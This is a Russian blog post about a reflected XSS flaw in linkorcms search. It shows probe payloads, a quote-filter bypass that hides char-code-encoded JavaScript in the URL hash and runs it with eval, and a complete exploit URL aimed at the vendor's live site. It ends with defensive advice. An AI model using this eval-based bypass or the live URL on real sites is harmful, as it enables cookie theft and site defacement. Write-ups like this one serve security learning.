Еще один пример типичного XSS

в 6:29, , рубрики: xss, Песочница, метки:

Внимание

Ниже последует описание довольно простецкой XSS и большинству пользователей хабра описанные в статье вещи покажутся элементарными.

К делу

Просматривая сайты в сети я, зачастую, вставляю в каждый попавшийся инпут стандартную пару символов ' "> '. Зачем? Просто так.
На одном из сайтов поиск по этой паре выдал следующее:

Еще один пример типичного XSS

Значит спецсимволы html не преобразуются перед выводом, что есть уязвимость. Печально.

Следующей строкой поиска было '" onmouseover=alert(«1»)' и… ничего. Кавычки таки экранируются.
Забавно. Вводим '" onmouseover=alert(1)' и получаем:

Еще один пример типичного XSS

Вывод единички это прекрасно, но хочется чего-нибудь интересней. Например, картинку с котиком поверх сайта (котики, они милые). Использовать кавычки и «равно» нельзя (экранирование + ломается разметка).

Напрашивается простое решение: преобразовать «вредоносный» скрипт в последовательность кодов символов и с помощью eval выполнить его, предварительно раскодировав. Коды можно передавать через hash.

Итак, вот он, наш «вредоносный» код.

img=document.createElement('img');

img.src = 'http://i.imgur.com/KYChI.jpg';
img.style['position'] = 'fixed';
img.style['top'] = '50px';

document.body.appendChild(img);

Теперь его нужно преобразовать в последовательность кодов символов, разделенных, например, дефисом "-". Код элементарен:

a = "img=document.createElement('img');img.src = 'http://i.imgur.com/KYChI.jpg';img.style['position'] = 'fixed';img.style['margin'] = '0 auto';img.style['top'] = '50px';document.body.appendChild(img);"
b = '';
for (s in a)
b +='-'+a.charCodeAt(s);

console.log(b);

Получим длинную строку (разбил, чтобы корректно отображалось):
105-109-103-61-100-111-99-117-109-101-110-116-46-99-114-101-97-116-101-69-108-101-109-101-110
-116-40-39-105-109-103-39-41-59-105-109-103-46-115-114-99-32-61-32-39-104-116-116-112-58-47-47
-105-46-105-109-103-117-114-46-99-111-109-47-75-89-67-104-73-46-106-112-103-39-59-105-109-103
-46-115-116-121-108-101-91-39-112-111-115-105-116-105-111-110-39-93-32-61-32-39-102-105-120-101
-100-39-59-105-109-103-46-115-116-121-108-101-91-39-109-97-114-103-105-110-39-93-32-61-32-39-48
-32-97-117-116-111-39-59-105-109-103-46-115-116-121-108-101-91-39-116-111-112-39-93-32-61-32-39
-53-48-112-120-39-59-100-111-99-117-109-101-110-116-46-98-111-100-121-46-97-112-112-101-110-100
-67-104-105-108-100-40-105-109-103-41-59

Эту строку мы поместим в хеш. Теперь нужен код, который бы вернул строку в изначальное состояние и выполнил зловредство. Без кавычек и присвоения.
Благодаря объектности javascript, он не менее прост:

eval( (((window.location.hash.split(String.fromCharCode(35)))[1].split(String.fromCharCode(45))).map(function(ch){return String.fromCharCode(ch)}) ).join(String.fromCharCode()) );

Теперь с пояснением:

window.location.hash.split(String.fromCharCode(35)) // разбиваем строку из хеша по символу #

((window.location.hash.split(String.fromCharCode(35)))[1].split(String.fromCharCode(45))) //  берем второй элемент получившегося массива и разбиваем его по символу дефиса который String.fromCharCode(45)

(((window.location.hash.split(String.fromCharCode(35)))[1].split(String.fromCharCode(45))).map(function(ch){return String.fromCharCode(ch)}) ) // для каждого элемента получившегося массива (который будет кодом символа) получаем символ. 
//Просто map(String.fromCharCode) почему то не сработал

//Ну и оставшийся код соединяет массив символов в строку и eval выполняет код этой строки.

Осталось чуть: подставить нужные данные в url и перейти на страничку. Получим:

Еще один пример типичного XSS

Прекрасно, все работает. А значит кто-нибудь, злобный достаточно, может увести куки.

Позже выяснилось, что сайт находится под управлением linkorcms, а уязвимость запросто гуглится и известна аж с 2009 года. Даже смысла делать баг репорт нету.

Кстати, вот и ссылка (на сайт движка):
linkorcms.ru/index.php?name=search&op=search&searchstr=%22%3E%3Cscript%3Eeval%28+%28%28%28window.location.hash.split%28String.fromCharCode%2835%29%29%29%5B1%5D.split%28String.fromCharCode%2845%29%29%29.map%28function%28ch%29%7Breturn+String.fromCharCode%28ch%29%7D%29+%29.join%28String.fromCharCode%28%29%29+%29%3B%3C%2Fscript%3E%3Cspan#105-109-103-61-100-111-99-117-109-101-110-116-46-99-114-101-97-116-101-69-108-101-109-101-110-116-40-39-105-109-103-39-41-59-105-109-103-46-115-114-99-32-61-32-39-104-116-116-112-58-47-47-105-46-105-109-103-117-114-46-99-111-109-47-75-89-67-104-73-46-106-112-103-39-59-105-109-103-46-115-116-121-108-101-91-39-112-111-115-105-116-105-111-110-39-93-32-61-32-39-102-105-120-101-100-39-59-105-109-103-46-115-116-121-108-101-91-39-109-97-114-103-105-110-39-93-32-61-32-39-48-32-97-117-116-111-39-59-105-109-103-46-115-116-121-108-101-91-39-116-111-112-39-93-32-61-32-39-53-48-112-120-39-59-100-111-99-117-109-101-110-116-46-98-111-100-121-46-97-112-112-101-110-100-67-104-105-108-100-40-105-109-103-41-59

Выводы

Ну, нужно подвести какие-то итоги (очевидные, но все же):

  1. Не доверяй пользователю!
  2. Преобразуй спецсимволы в html-сущности перед выводом. Сделай себе безопасно.
  3. Для cookies, которые содержат мало-мальски важные данные, нужно ставить флаг http only.
  4. Не доверяй пользователю! (это важно)

Ну и, если уж разрабатываешь продукт, стоит не только ждать баг репортов, но и самим немного искать на предмет уязвимостей.

Автор: Aren_SH

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js